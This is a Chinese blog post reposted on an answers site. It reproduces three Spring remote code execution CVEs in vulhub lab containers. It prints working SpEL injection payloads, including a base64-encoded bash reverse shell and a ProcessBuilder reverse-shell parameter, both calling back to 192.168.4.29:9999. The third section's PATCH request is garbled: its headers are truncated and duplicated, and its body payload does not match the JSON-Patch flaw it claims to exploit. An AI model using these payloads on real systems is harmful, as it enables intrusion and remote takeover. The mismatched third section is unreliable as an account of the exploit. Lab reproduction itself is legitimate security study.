欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

vulhub漏洞复现66

时间:2023-06-17

一、 CVE-2016-4977_ Spring Security OAuth2 远程命令执行漏洞

漏洞详情

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:

- http://secalert.net/#CVE-2016-4977

- https://deadpool.sh/2017/RCE-Springs/

- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/

运行环境

靶场:192.168.4.10_ubuntu

执行如下命令启动漏洞环境:

#docker-compose up -d

启动完成后,访问`http://your-ip:8080/`即可看到web页面。

漏洞复现

访问`http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。

 可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:

 然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式]:

1、bash -i >& /dev/tcp/192.168.4.29/9999 0>&1  base64编码

 2、构成反弹shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}

3、环境自带poc.py形成攻击字符

如上图,生成了一大串SpEL语句。附带上这个SpEL语句

`http://your-ip:8080/oauth/authorize?response_type=[exploit]&client_id=acme&scope=openid&redirect_uri=http://test`

 访问成功弹回shell: 

二、 CVE-2017-4971_Spring WebFlow 远程代码执行漏洞

漏洞详情

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

参考链接:

- https://threathunter.org/topic/593d562353ab369c55425a90

- https://pivotal.io/security/cve-2017-4971

测试环境

#docker-compose up -d

等待环境启动后,访问`http://your-ip:8080`,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。

漏洞复现

1、首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:

 

2、然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

3、再点击确认“/confirm/i”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

```

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.4.29/9999+0>%261")).start()=vulhub

```

成功执行,获得shell:

三、 CVE-2017-8046_Spring Data Rest 远程命令执行漏洞

漏洞详情

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。

参考链接:

- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/

- https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html

环境搭建

#docker-compose up -d

等待环境启动完成,然后访问`http://your-ip:8080/`即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

 

漏洞复现

访问`http://your-ip:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之:

```

PATCH /customers/1 HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: **;q=0.8

Referer: http://localhost:8080/users?page=0&size=5

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

```

执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success`,说明命令执行成功:

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。